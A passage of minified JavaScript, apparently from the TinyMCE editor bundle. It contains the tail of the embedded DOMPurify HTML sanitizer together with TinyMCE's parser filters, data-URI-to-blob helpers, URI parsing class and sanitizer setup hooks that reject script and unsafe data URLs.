          if (_basicCustomElementTest(lcTag) && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, lcTag) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(lcTag)) && (CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.attributeNameCheck, lcName) || CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.attributeNameCheck(lcName)) || lcName === 'is' && CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, value) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(value)));
          else {
            return false;
          }
        } else if (URI_SAFE_ATTRIBUTES[lcName]);
        else if (regExpTest(IS_ALLOWED_URI$1, stringReplace(value, ATTR_WHITESPACE$1, '')));
        else if ((lcName === 'src' || lcName === 'xlink:href' || lcName === 'href') && lcTag !== 'script' && stringIndexOf(value, 'data:') === 0 && DATA_URI_TAGS[lcTag]);
        else if (ALLOW_UNKNOWN_PROTOCOLS && !regExpTest(IS_SCRIPT_OR_DATA$1, stringReplace(value, ATTR_WHITESPACE$1, '')));
        else if (!value);
        else {
          return false;
        }
        return true;
      };
      var _basicCustomElementTest = function _basicCustomElementTest(tagName) {
        return tagName.indexOf('-') > 0;
      };
      var _sanitizeAttributes = function _sanitizeAttributes(currentNode) {
        var attr;
        var value;
        var lcName;
        var l;
        _executeHook('beforeSanitizeAttributes', currentNode, null);
        var attributes = currentNode.attributes;
        if (!attributes) {
          return;
        }
        var hookEvent = {
          attrName: '',
          attrValue: '',
          keepAttr: true,
          allowedAttributes: ALLOWED_ATTR
        };
        l = attributes.length;
        while (l--) {
          attr = attributes[l];
          var _attr = attr, name = _attr.name, namespaceURI = _attr.namespaceURI;
          value = name === 'value' ? attr.value : stringTrim(attr.value);
          lcName = transformCaseFunc(name);
          var initValue = value;
          hookEvent.attrName = lcName;
          hookEvent.attrValue = value;
          hookEvent.keepAttr = true;
          hookEvent.forceKeepAttr = undefined;
          _executeHook('uponSanitizeAttribute', currentNode, hookEvent);
          value = hookEvent.attrValue;
          if (hookEvent.forceKeepAttr) {
            continue;
          }
          if (!hookEvent.keepAttr) {
            _removeAttribute(name, currentNode);
            continue;
          }
          if (regExpTest(/\/>/i, value)) {
            _removeAttribute(name, currentNode);
            continue;
          }
          if (SAFE_FOR_TEMPLATES) {
            value = stringReplace(value, MUSTACHE_EXPR$1, ' ');
            value = stringReplace(value, ERB_EXPR$1, ' ');
          }
          var lcTag = transformCaseFunc(currentNode.nodeName);
          if (!_isValidAttribute(lcTag, lcName, value)) {
            _removeAttribute(name, currentNode);
            continue;
          }
          if (value !== initValue) {
            try {
              if (namespaceURI) {
                currentNode.setAttributeNS(namespaceURI, name, value);
              } else {
                currentNode.setAttribute(name, value);
              }
            } catch (_) {
              _removeAttribute(name, currentNode);
            }
          }
        }
        _executeHook('afterSanitizeAttributes', currentNode, null);
      };
      var _sanitizeShadowDOM = function _sanitizeShadowDOM(fragment) {
        var shadowNode;
        var shadowIterator = _createIterator(fragment);
        _executeHook('beforeSanitizeShadowDOM', fragment, null);
        while (shadowNode = shadowIterator.nextNode()) {
          _executeHook('uponSanitizeShadowNode', shadowNode, null);
          if (_sanitizeElements(shadowNode)) {
            continue;
          }
          if (shadowNode.content instanceof DocumentFragment) {
            _sanitizeShadowDOM(shadowNode.content);
          }
          _sanitizeAttributes(shadowNode);
        }
        _executeHook('afterSanitizeShadowDOM', fragment, null);
      };
      DOMPurify.sanitize = function (dirty, cfg) {
        var body;
        var importedNode;
        var currentNode;
        var oldNode;
        var returnNode;
        IS_EMPTY_INPUT = !dirty;
        if (IS_EMPTY_INPUT) {
          dirty = '<!-->';
        }
        if (typeof dirty !== 'string' && !_isNode(dirty)) {
          if (typeof dirty.toString !== 'function') {
            throw typeErrorCreate('toString is not a function');
          } else {
            dirty = dirty.toString();
            if (typeof dirty !== 'string') {
              throw typeErrorCreate('dirty is not a string, aborting');
            }
          }
        }
        if (!DOMPurify.isSupported) {
          if (_typeof(window.toStaticHTML) === 'object' || typeof window.toStaticHTML === 'function') {
            if (typeof dirty === 'string') {
              return window.toStaticHTML(dirty);
            }
            if (_isNode(dirty)) {
              return window.toStaticHTML(dirty.outerHTML);
            }
          }
          return dirty;
        }
        if (!SET_CONFIG) {
          _parseConfig(cfg);
        }
        DOMPurify.removed = [];
        if (typeof dirty === 'string') {
          IN_PLACE = false;
        }
        if (IN_PLACE) {
          if (dirty.nodeName) {
            var tagName = transformCaseFunc(dirty.nodeName);
            if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {
              throw typeErrorCreate('root node is forbidden and cannot be sanitized in-place');
            }
          }
        } else if (dirty instanceof Node) {
          body = _initDocument('<!---->');
          importedNode = body.ownerDocument.importNode(dirty, true);
          if (importedNode.nodeType === 1 && importedNode.nodeName === 'BODY') {
            body = importedNode;
          } else if (importedNode.nodeName === 'HTML') {
            body = importedNode;
          } else {
            body.appendChild(importedNode);
          }
        } else {
          if (!RETURN_DOM && !SAFE_FOR_TEMPLATES && !WHOLE_DOCUMENT && dirty.indexOf('<') === -1) {
            return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(dirty) : dirty;
          }
          body = _initDocument(dirty);
          if (!body) {
            return RETURN_DOM ? null : RETURN_TRUSTED_TYPE ? emptyHTML : '';
          }
        }
        if (body && FORCE_BODY) {
          _forceRemove(body.firstChild);
        }
        var nodeIterator = _createIterator(IN_PLACE ? dirty : body);
        while (currentNode = nodeIterator.nextNode()) {
          if (currentNode.nodeType === 3 && currentNode === oldNode) {
            continue;
          }
          if (_sanitizeElements(currentNode)) {
            continue;
          }
          if (currentNode.content instanceof DocumentFragment) {
            _sanitizeShadowDOM(currentNode.content);
          }
          _sanitizeAttributes(currentNode);
          oldNode = currentNode;
        }
        oldNode = null;
        if (IN_PLACE) {
          return dirty;
        }
        if (RETURN_DOM) {
          if (RETURN_DOM_FRAGMENT) {
            returnNode = createDocumentFragment.call(body.ownerDocument);
            while (body.firstChild) {
              returnNode.appendChild(body.firstChild);
            }
          } else {
            returnNode = body;
          }
          if (ALLOWED_ATTR.shadowroot) {
            returnNode = importNode.call(originalDocument, returnNode, true);
          }
          return returnNode;
        }
        var serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;
        if (WHOLE_DOCUMENT && ALLOWED_TAGS['!doctype'] && body.ownerDocument && body.ownerDocument.doctype && body.ownerDocument.doctype.name && regExpTest(DOCTYPE_NAME, body.ownerDocument.doctype.name)) {
          serializedHTML = '<!DOCTYPE ' + body.ownerDocument.doctype.name + '>\n' + serializedHTML;
        }
        if (SAFE_FOR_TEMPLATES) {
          serializedHTML = stringReplace(serializedHTML, MUSTACHE_EXPR$1, ' ');
          serializedHTML = stringReplace(serializedHTML, ERB_EXPR$1, ' ');
        }
        return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(serializedHTML) : serializedHTML;
      };
      DOMPurify.setConfig = function (cfg) {
        _parseConfig(cfg);
        SET_CONFIG = true;
      };
      DOMPurify.clearConfig = function () {
        CONFIG = null;
        SET_CONFIG = false;
      };
      DOMPurify.isValidAttribute = function (tag, attr, value) {
        if (!CONFIG) {
          _parseConfig({});
        }
        var lcTag = transformCaseFunc(tag);
        var lcName = transformCaseFunc(attr);
        return _isValidAttribute(lcTag, lcName, value);
      };
      DOMPurify.addHook = function (entryPoint, hookFunction) {
        if (typeof hookFunction !== 'function') {
          return;
        }
        hooks[entryPoint] = hooks[entryPoint] || [];
        arrayPush(hooks[entryPoint], hookFunction);
      };
      DOMPurify.removeHook = function (entryPoint) {
        if (hooks[entryPoint]) {
          return arrayPop(hooks[entryPoint]);
        }
      };
      DOMPurify.removeHooks = function (entryPoint) {
        if (hooks[entryPoint]) {
          hooks[entryPoint] = [];
        }
      };
      DOMPurify.removeAllHooks = function () {
        hooks = {};
      };
      return DOMPurify;
    }
    var purify = createDOMPurify();

    const explode$1 = Tools.explode;
    const create$7 = () => {
      const filters = {};
      const addFilter = (name, callback) => {
        each$e(explode$1(name), name => {
          if (!has$2(filters, name)) {
            filters[name] = {
              name,
              callbacks: []
            };
          }
          filters[name].callbacks.push(callback);
        });
      };
      const getFilters = () => values(filters);
      const removeFilter = (name, callback) => {
        each$e(explode$1(name), name => {
          if (has$2(filters, name)) {
            if (isNonNullable(callback)) {
              const filter = filters[name];
              const newCallbacks = filter$5(filter.callbacks, c => c !== callback);
              if (newCallbacks.length > 0) {
                filter.callbacks = newCallbacks;
              } else {
                delete filters[name];
              }
            } else {
              delete filters[name];
            }
          }
        });
      };
      return {
        addFilter,
        getFilters,
        removeFilter
      };
    };

    const removeAttrs = (node, names) => {
      each$e(names, name => {
        node.attr(name, null);
      });
    };
    const addFontToSpansFilter = (domParser, styles, fontSizes) => {
      domParser.addNodeFilter('font', nodes => {
        each$e(nodes, node => {
          const props = styles.parse(node.attr('style'));
          const color = node.attr('color');
          const face = node.attr('face');
          const size = node.attr('size');
          if (color) {
            props.color = color;
          }
          if (face) {
            props['font-family'] = face;
          }
          if (size) {
            toInt(size).each(num => {
              props['font-size'] = fontSizes[num - 1];
            });
          }
          node.name = 'span';
          node.attr('style', styles.serialize(props));
          removeAttrs(node, [
            'color',
            'face',
            'size'
          ]);
        });
      });
    };
    const addStrikeFilter = (domParser, schema, styles) => {
      domParser.addNodeFilter('strike', nodes => {
        const convertToSTag = schema.type !== 'html4';
        each$e(nodes, node => {
          if (convertToSTag) {
            node.name = 's';
          } else {
            const props = styles.parse(node.attr('style'));
            props['text-decoration'] = 'line-through';
            node.name = 'span';
            node.attr('style', styles.serialize(props));
          }
        });
      });
    };
    const addFilters = (domParser, settings, schema) => {
      var _a;
      const styles = Styles();
      if (settings.convert_fonts_to_spans) {
        addFontToSpansFilter(domParser, styles, Tools.explode((_a = settings.font_size_legacy_values) !== null && _a !== void 0 ? _a : ''));
      }
      addStrikeFilter(domParser, schema, styles);
    };
    const register$5 = (domParser, settings, schema) => {
      if (settings.inline_styles) {
        addFilters(domParser, settings, schema);
      }
    };

    const blobUriToBlob = url => fetch(url).then(res => res.ok ? res.blob() : Promise.reject()).catch(() => Promise.reject(`Cannot convert ${ url } to Blob. Resource might not exist or is inaccessible.`));
    const extractBase64Data = data => {
      const matches = /([a-z0-9+\/=\s]+)/i.exec(data);
      return matches ? matches[1] : '';
    };
    const parseDataUri = uri => {
      const [type, ...rest] = uri.split(',');
      const data = rest.join(',');
      const matches = /data:([^/]+\/[^;]+)(;.+)?/.exec(type);
      if (matches) {
        const base64Encoded = matches[2] === ';base64';
        const extractedData = base64Encoded ? extractBase64Data(data) : decodeURIComponent(data);
        return Optional.some({
          type: matches[1],
          data: extractedData,
          base64Encoded
        });
      } else {
        return Optional.none();
      }
    };
    const buildBlob = (type, data, base64Encoded = true) => {
      let str = data;
      if (base64Encoded) {
        try {
          str = atob(data);
        } catch (e) {
          return Optional.none();
        }
      }
      const arr = new Uint8Array(str.length);
      for (let i = 0; i < arr.length; i++) {
        arr[i] = str.charCodeAt(i);
      }
      return Optional.some(new Blob([arr], { type }));
    };
    const dataUriToBlob = uri => {
      return new Promise((resolve, reject) => {
        parseDataUri(uri).bind(({type, data, base64Encoded}) => buildBlob(type, data, base64Encoded)).fold(() => reject('Invalid data URI'), resolve);
      });
    };
    const uriToBlob = url => {
      if (startsWith(url, 'blob:')) {
        return blobUriToBlob(url);
      } else if (startsWith(url, 'data:')) {
        return dataUriToBlob(url);
      } else {
        return Promise.reject('Unknown URI format');
      }
    };
    const blobToDataUri = blob => {
      return new Promise((resolve, reject) => {
        const reader = new FileReader();
        reader.onloadend = () => {
          resolve(reader.result);
        };
        reader.onerror = () => {
          var _a;
          reject((_a = reader.error) === null || _a === void 0 ? void 0 : _a.message);
        };
        reader.readAsDataURL(blob);
      });
    };

    let count$1 = 0;
    const uniqueId$1 = prefix => {
      return (prefix || 'blobid') + count$1++;
    };
    const processDataUri = (dataUri, base64Only, generateBlobInfo) => {
      return parseDataUri(dataUri).bind(({data, type, base64Encoded}) => {
        if (base64Only && !base64Encoded) {
          return Optional.none();
        } else {
          const base64 = base64Encoded ? data : btoa(data);
          return generateBlobInfo(base64, type);
        }
      });
    };
    const createBlobInfo$1 = (blobCache, blob, base64) => {
      const blobInfo = blobCache.create(uniqueId$1(), blob, base64);
      blobCache.add(blobInfo);
      return blobInfo;
    };
    const dataUriToBlobInfo = (blobCache, dataUri, base64Only = false) => {
      return processDataUri(dataUri, base64Only, (base64, type) => Optional.from(blobCache.getByData(base64, type)).orThunk(() => buildBlob(type, base64).map(blob => createBlobInfo$1(blobCache, blob, base64))));
    };
    const imageToBlobInfo = (blobCache, imageSrc) => {
      const invalidDataUri = () => Promise.reject('Invalid data URI');
      if (startsWith(imageSrc, 'blob:')) {
        const blobInfo = blobCache.getByUri(imageSrc);
        if (isNonNullable(blobInfo)) {
          return Promise.resolve(blobInfo);
        } else {
          return uriToBlob(imageSrc).then(blob => {
            return blobToDataUri(blob).then(dataUri => {
              return processDataUri(dataUri, false, base64 => {
                return Optional.some(createBlobInfo$1(blobCache, blob, base64));
              }).getOrThunk(invalidDataUri);
            });
          });
        }
      } else if (startsWith(imageSrc, 'data:')) {
        return dataUriToBlobInfo(blobCache, imageSrc).fold(invalidDataUri, blobInfo => Promise.resolve(blobInfo));
      } else {
        return Promise.reject('Unknown image data format');
      }
    };

    const isBogusImage = img => isNonNullable(img.attr('data-mce-bogus'));
    const isInternalImageSource = img => img.attr('src') === Env.transparentSrc || isNonNullable(img.attr('data-mce-placeholder'));
    const registerBase64ImageFilter = (parser, settings) => {
      const {blob_cache: blobCache} = settings;
      if (blobCache) {
        const processImage = img => {
          const inputSrc = img.attr('src');
          if (isInternalImageSource(img) || isBogusImage(img) || isNullable(inputSrc)) {
            return;
          }
          dataUriToBlobInfo(blobCache, inputSrc, true).each(blobInfo => {
            img.attr('src', blobInfo.blobUri());
          });
        };
        parser.addAttributeFilter('src', nodes => each$e(nodes, processImage));
      }
    };
    const register$4 = (parser, settings) => {
      const schema = parser.schema;
      if (settings.remove_trailing_brs) {
        parser.addNodeFilter('br', (nodes, _, args) => {
          const blockElements = Tools.extend({}, schema.getBlockElements());
          const nonEmptyElements = schema.getNonEmptyElements();
          const whitespaceElements = schema.getWhitespaceElements();
          blockElements.body = 1;
          const isBlock = node => node.name in blockElements && isTransparentAstInline(schema, node);
          for (let i = 0, l = nodes.length; i < l; i++) {
            let node = nodes[i];
            let parent = node.parent;
            if (parent && blockElements[parent.name] && node === parent.lastChild) {
              let prev = node.prev;
              while (prev) {
                const prevName = prev.name;
                if (prevName !== 'span' || prev.attr('data-mce-type') !== 'bookmark') {
                  if (prevName === 'br') {
                    node = null;
                  }
                  break;
                }
                prev = prev.prev;
              }
              if (node) {
                node.remove();
                if (isEmpty(schema, nonEmptyElements, whitespaceElements, parent)) {
                  const elementRule = schema.getElementRule(parent.name);
                  if (elementRule) {
                    if (elementRule.removeEmpty) {
                      parent.remove();
                    } else if (elementRule.paddEmpty) {
                      paddEmptyNode(args, isBlock, parent);
                    }
                  }
                }
              }
            } else {
              let lastParent = node;
              while (parent && parent.firstChild === lastParent && parent.lastChild === lastParent) {
                lastParent = parent;
                if (blockElements[parent.name]) {
                  break;
                }
                parent = parent.parent;
              }
              if (lastParent === parent) {
                const textNode = new AstNode('#text', 3);
                textNode.value = nbsp;
                node.replace(textNode);
              }
            }
          }
        });
      }
      parser.addAttributeFilter('href', nodes => {
        let i = nodes.length;
        const appendRel = rel => {
          const parts = rel.split(' ').filter(p => p.length > 0);
          return parts.concat(['noopener']).sort().join(' ');
        };
        const addNoOpener = rel => {
          const newRel = rel ? Tools.trim(rel) : '';
          if (!/\b(noopener)\b/g.test(newRel)) {
            return appendRel(newRel);
          } else {
            return newRel;
          }
        };
        if (!settings.allow_unsafe_link_target) {
          while (i--) {
            const node = nodes[i];
            if (node.name === 'a' && node.attr('target') === '_blank') {
              node.attr('rel', addNoOpener(node.attr('rel')));
            }
          }
        }
      });
      if (!settings.allow_html_in_named_anchor) {
        parser.addAttributeFilter('id,name', nodes => {
          let i = nodes.length, sibling, prevSibling, parent, node;
          while (i--) {
            node = nodes[i];
            if (node.name === 'a' && node.firstChild && !node.attr('href')) {
              parent = node.parent;
              sibling = node.lastChild;
              while (sibling && parent) {
                prevSibling = sibling.prev;
                parent.insert(sibling, node);
                sibling = prevSibling;
              }
            }
          }
        });
      }
      if (settings.fix_list_elements) {
        parser.addNodeFilter('ul,ol', nodes => {
          let i = nodes.length, node, parentNode;
          while (i--) {
            node = nodes[i];
            parentNode = node.parent;
            if (parentNode && (parentNode.name === 'ul' || parentNode.name === 'ol')) {
              if (node.prev && node.prev.name === 'li') {
                node.prev.append(node);
              } else {
                const li = new AstNode('li', 1);
                li.attr('style', 'list-style-type: none');
                node.wrap(li);
              }
            }
          }
        });
      }
      const validClasses = schema.getValidClasses();
      if (settings.validate && validClasses) {
        parser.addAttributeFilter('class', nodes => {
          var _a;
          let i = nodes.length;
          while (i--) {
            const node = nodes[i];
            const clazz = (_a = node.attr('class')) !== null && _a !== void 0 ? _a : '';
            const classList = Tools.explode(clazz, ' ');
            let classValue = '';
            for (let ci = 0; ci < classList.length; ci++) {
              const className = classList[ci];
              let valid = false;
              let validClassesMap = validClasses['*'];
              if (validClassesMap && validClassesMap[className]) {
                valid = true;
              }
              validClassesMap = validClasses[node.name];
              if (!valid && validClassesMap && validClassesMap[className]) {
                valid = true;
              }
              if (valid) {
                if (classValue) {
                  classValue += ' ';
                }
                classValue += className;
              }
            }
            if (!classValue.length) {
              classValue = null;
            }
            node.attr('class', classValue);
          }
        });
      }
      registerBase64ImageFilter(parser, settings);
    };

    const each$4 = Tools.each, trim = Tools.trim;
    const queryParts = [
      'source',
      'protocol',
      'authority',
      'userInfo',
      'user',
      'password',
      'host',
      'port',
      'relative',
      'path',
      'directory',
      'file',
      'query',
      'anchor'
    ];
    const DEFAULT_PORTS = {
      ftp: 21,
      http: 80,
      https: 443,
      mailto: 25
    };
    const safeSvgDataUrlElements = [
      'img',
      'video'
    ];
    const blockSvgDataUris = (allowSvgDataUrls, tagName) => {
      if (isNonNullable(allowSvgDataUrls)) {
        return !allowSvgDataUrls;
      } else {
        return isNonNullable(tagName) ? !contains$2(safeSvgDataUrlElements, tagName) : true;
      }
    };
    const decodeUri = encodedUri => {
      try {
        return decodeURIComponent(encodedUri);
      } catch (ex) {
        return unescape(encodedUri);
      }
    };
    const isInvalidUri = (settings, uri, tagName) => {
      const decodedUri = decodeUri(uri);
      if (settings.allow_script_urls) {
        return false;
      } else if (/((java|vb)script|mhtml):/i.test(decodedUri)) {
        return true;
      } else if (settings.allow_html_data_urls) {
        return false;
      } else if (/^data:image\//i.test(decodedUri)) {
        return blockSvgDataUris(settings.allow_svg_data_urls, tagName) && /^data:image\/svg\+xml/i.test(decodedUri);
      } else {
        return /^data:/i.test(decodedUri);
      }
    };
    class URI {
      constructor(url, settings = {}) {
        this.path = '';
        this.directory = '';
        url = trim(url);
        this.settings = settings;
        const baseUri = settings.base_uri;
        const self = this;
        if (/^([\w\-]+):([^\/]{2})/i.test(url) || /^\s*#/.test(url)) {
          self.source = url;
          return;
        }
        const isProtocolRelative = url.indexOf('//') === 0;
        if (url.indexOf('/') === 0 && !isProtocolRelative) {
          url = (baseUri ? baseUri.protocol || 'http' : 'http') + '://mce_host' + url;
        }
        if (!/^[\w\-]*:?\/\//.test(url)) {
          const baseUrl = baseUri ? baseUri.path : new URI(document.location.href).directory;
          if ((baseUri === null || baseUri === void 0 ? void 0 : baseUri.protocol) === '') {
            url = '//mce_host' + self.toAbsPath(baseUrl, url);
          } else {
            const match = /([^#?]*)([#?]?.*)/.exec(url);
            if (match) {
              url = (baseUri && baseUri.protocol || 'http') + '://mce_host' + self.toAbsPath(baseUrl, match[1]) + match[2];
            }
          }
        }
        url = url.replace(/@@/g, '(mce_at)');
        const urlMatch = /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?(\[[a-zA-Z0-9:.%]+\]|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(url);
        if (urlMatch) {
          each$4(queryParts, (v, i) => {
            let part = urlMatch[i];
            if (part) {
              part = part.replace(/\(mce_at\)/g, '@@');
            }
            self[v] = part;
          });
        }
        if (baseUri) {
          if (!self.protocol) {
            self.protocol = baseUri.protocol;
          }
          if (!self.userInfo) {
            self.userInfo = baseUri.userInfo;
          }
          if (!self.port && self.host === 'mce_host') {
            self.port = baseUri.port;
          }
          if (!self.host || self.host === 'mce_host') {
            self.host = baseUri.host;
          }
          self.source = '';
        }
        if (isProtocolRelative) {
          self.protocol = '';
        }
      }
      static parseDataUri(uri) {
        let type;
        const uriComponents = decodeURIComponent(uri).split(',');
        const matches = /data:([^;]+)/.exec(uriComponents[0]);
        if (matches) {
          type = matches[1];
        }
        return {
          type,
          data: uriComponents[1]
        };
      }
      static isDomSafe(uri, context, options = {}) {
        if (options.allow_script_urls) {
          return true;
        } else {
          const decodedUri = Entities.decode(uri).replace(/[\s\u0000-\u001F]+/g, '');
          return !isInvalidUri(options, decodedUri, context);
        }
      }
      static getDocumentBaseUrl(loc) {
        var _a;
        let baseUrl;
        if (loc.protocol.indexOf('http') !== 0 && loc.protocol !== 'file:') {
          baseUrl = (_a = loc.href) !== null && _a !== void 0 ? _a : '';
        } else {
          baseUrl = loc.protocol + '//' + loc.host + loc.pathname;
        }
        if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
          baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
          if (!/[\/\\]$/.test(baseUrl)) {
            baseUrl += '/';
          }
        }
        return baseUrl;
      }
      setPath(path) {
        const pathMatch = /^(.*?)\/?(\w+)?$/.exec(path);
        if (pathMatch) {
          this.path = pathMatch[0];
          this.directory = pathMatch[1];
          this.file = pathMatch[2];
        }
        this.source = '';
        this.getURI();
      }
      toRelative(uri) {
        if (uri === './') {
          return uri;
        }
        const relativeUri = new URI(uri, { base_uri: this });
        if (relativeUri.host !== 'mce_host' && this.host !== relativeUri.host && relativeUri.host || this.port !== relativeUri.port || this.protocol !== relativeUri.protocol && relativeUri.protocol !== '') {
          return relativeUri.getURI();
        }
        const tu = this.getURI(), uu = relativeUri.getURI();
        if (tu === uu || tu.charAt(tu.length - 1) === '/' && tu.substr(0, tu.length - 1) === uu) {
          return tu;
        }
        let output = this.toRelPath(this.path, relativeUri.path);
        if (relativeUri.query) {
          output += '?' + relativeUri.query;
        }
        if (relativeUri.anchor) {
          output += '#' + relativeUri.anchor;
        }
        return output;
      }
      toAbsolute(uri, noHost) {
        const absoluteUri = new URI(uri, { base_uri: this });
        return absoluteUri.getURI(noHost && this.isSameOrigin(absoluteUri));
      }
      isSameOrigin(uri) {
        if (this.host == uri.host && this.protocol == uri.protocol) {
          if (this.port == uri.port) {
            return true;
          }
          const defaultPort = this.protocol ? DEFAULT_PORTS[this.protocol] : null;
          if (defaultPort && (this.port || defaultPort) == (uri.port || defaultPort)) {
            return true;
          }
        }
        return false;
      }
      toRelPath(base, path) {
        let breakPoint = 0, out = '', i, l;
        const normalizedBase = base.substring(0, base.lastIndexOf('/')).split('/');
        const items = path.split('/');
        if (normalizedBase.length >= items.length) {
          for (i = 0, l = normalizedBase.length; i < l; i++) {
            if (i >= items.length || normalizedBase[i] !== items[i]) {
              breakPoint = i + 1;
              break;
            }
          }
        }
        if (normalizedBase.length < items.length) {
          for (i = 0, l = items.length; i < l; i++) {
            if (i >= normalizedBase.length || normalizedBase[i] !== items[i]) {
              breakPoint = i + 1;
              break;
            }
          }
        }
        if (breakPoint === 1) {
          return path;
        }
        for (i = 0, l = normalizedBase.length - (breakPoint - 1); i < l; i++) {
          out += '../';
        }
        for (i = breakPoint - 1, l = items.length; i < l; i++) {
          if (i !== breakPoint - 1) {
            out += '/' + items[i];
          } else {
            out += items[i];
          }
        }
        return out;
      }
      toAbsPath(base, path) {
        let nb = 0;
        const tr = /\/$/.test(path) ? '/' : '';
        const normalizedBase = base.split('/');
        const normalizedPath = path.split('/');
        const baseParts = [];
        each$4(normalizedBase, k => {
          if (k) {
            baseParts.push(k);
          }
        });
        const pathParts = [];
        for (let i = normalizedPath.length - 1; i >= 0; i--) {
          if (normalizedPath[i].length === 0 || normalizedPath[i] === '.') {
            continue;
          }
          if (normalizedPath[i] === '..') {
            nb++;
            continue;
          }
          if (nb > 0) {
            nb--;
            continue;
          }
          pathParts.push(normalizedPath[i]);
        }
        const i = baseParts.length - nb;
        let outPath;
        if (i <= 0) {
          outPath = reverse(pathParts).join('/');
        } else {
          outPath = baseParts.slice(0, i).join('/') + '/' + reverse(pathParts).join('/');
        }
        if (outPath.indexOf('/') !== 0) {
          outPath = '/' + outPath;
        }
        if (tr && outPath.lastIndexOf('/') !== outPath.length - 1) {
          outPath += tr;
        }
        return outPath;
      }
      getURI(noProtoHost = false) {
        let s;
        if (!this.source || noProtoHost) {
          s = '';
          if (!noProtoHost) {
            if (this.protocol) {
              s += this.protocol + '://';
            } else {
              s += '//';
            }
            if (this.userInfo) {
              s += this.userInfo + '@';
            }
            if (this.host) {
              s += this.host;
            }
            if (this.port) {
              s += ':' + this.port;
            }
          }
          if (this.path) {
            s += this.path;
          }
          if (this.query) {
            s += '?' + this.query;
          }
          if (this.anchor) {
            s += '#' + this.anchor;
          }
          this.source = s;
        }
        return this.source;
      }
    }

    const makeMap = Tools.makeMap, extend$1 = Tools.extend;
    const basePurifyConfig = {
      IN_PLACE: true,
      ALLOW_UNKNOWN_PROTOCOLS: true,
      ALLOWED_TAGS: [
        '#comment',
        '#cdata-section',
        'body'
      ],
      ALLOWED_ATTR: []
    };
    const filteredUrlAttrs = Tools.makeMap('src,href,data,background,action,formaction,poster,xlink:href');
    const internalElementAttr = 'data-mce-type';
    const getPurifyConfig = (settings, mimeType) => {
      const config = { ...basePurifyConfig };
      config.PARSER_MEDIA_TYPE = mimeType;
      if (settings.allow_script_urls) {
        config.ALLOWED_URI_REGEXP = /.*/;
      } else if (settings.allow_html_data_urls) {
        config.ALLOWED_URI_REGEXP = /^(?!(\w+script|mhtml):)/i;
      }
      return config;
    };
    const setupPurify = (settings, schema) => {
      const purify$1 = purify();
      const specialElements = schema.getSpecialElements();
      const validate = settings.validate;
      let uid = 0;
      purify$1.addHook('uponSanitizeElement', (ele, evt) => {
        var _a, _b, _c;
        if (ele.nodeType === COMMENT && !settings.allow_conditional_comments && /^\[if/i.test((_a = ele.nodeValue) !== null && _a !== void 0 ? _a : '')) {
          ele.nodeValue = ' ' + ele.nodeValue;
        }
        const tagName = evt.tagName;
        if (ele.nodeType !== ELEMENT || tagName === 'body') {
          return;
        }
        const element = SugarElement.fromDom(ele);
        const lcTagName = tagName.toLowerCase();
        const isInternalElement = has$1(element, internalElementAttr);
        const bogus = get$9(element, 'data-mce-bogus');
        if (!isInternalElement && isString(bogus)) {
          if (bogus === 'all') {
            remove$6(element);
          } else {
            unwrap(element);
          }
          return;
        }
        const rule = schema.getElementRule(lcTagName);
        if (validate && !rule) {
          if (has$2(specialElements, lcTagName)) {
            remove$6(element);
          } else {
            unwrap(element);
          }
          return;
        } else {
          evt.allowedTags[tagName] = true;
        }
        if (validate && rule && !isInternalElement) {
          each$e((_b = rule.attributesForced) !== null && _b !== void 0 ? _b : [], attr => {
            set$2(element, attr.name, attr.value === '{$uid}' ? `mce_${ uid++ }` : attr.value);
          });
          each$e((_c = rule.attributesDefault) !== null && _c !== void 0 ? _c : [], attr => {
            if (!has$1(element, attr.name)) {
              set$2(element, attr.name, attr.value === '{$uid}' ? `mce_${ uid++ }` : attr.value);
            }
          });
          if (rule.attributesRequired && !exists(rule.attributesRequired, attr => has$1(element, attr))) {
            unwrap(element);
            return;
          }
          if (rule.removeEmptyAttrs && hasNone(element)) {
            unwrap(element);
            return;
          }
          if (rule.outputName && rule.outputName !== lcTagName) {
            mutate(element, rule.outputName);
          }
        }
      });
      purify$1.addHook('uponSanitizeAttribute', (ele, evt) => {
        const tagName = ele.tagName.toLowerCase();
        const {attrName, attrValue} = evt;
        evt.keepAttr = !validate || schema.isValid(tagName, attrName) || startsWith(attrName, 'data-') || startsWith(attrName, 'aria-');
        if (attrName in filteredUrlAttrs && isInvalidUri(settings, attrValue, tagName)) {
          evt.keepAttr = false;
        }
        if (evt.keepAttr) {
          evt.allowedAttributes[attrName] = true;
          if (attrName in schema.getBoolAttrs()) {
            evt.attrValue = attrName;
          }
          if (settings.allow_svg_data_urls && startsWith(attrValue, 'data:image/svg+xml')) {
            evt.forceKeepAttr = true;
          }
        } else if (ele.hasAttribute(internalElementAttr) && (attrName === 'id' || attrName === 'class' || attrName === 'style')) {
          evt.forceKeepAttr = true;
        }
      });
      return purify$1;
    };
    const transferChildren = (parent, nativeParent, specialElements) => {
      const parentName = parent.name;
      const isSpecial = parentName in specialElements && parentName !== 'title' && parentName !== 'textarea';
      const childNodes = nativeParent.childNodes;
      for (let ni = 0, nl = childNodes.length; ni < nl; ni++) {
